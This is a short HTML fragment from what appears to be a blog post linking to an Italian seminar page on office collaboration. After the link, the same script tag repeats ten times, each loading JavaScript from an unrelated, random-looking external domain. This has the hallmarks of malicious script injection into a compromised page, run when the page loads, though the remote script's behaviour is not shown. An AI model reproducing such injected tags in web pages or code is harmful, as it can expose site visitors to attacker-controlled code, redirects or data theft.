<p>via<a href="http://www.tosslab.it/seminario-n.-5-office-collaboration"> Seminario 5: Office Collaboration —</a>.<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
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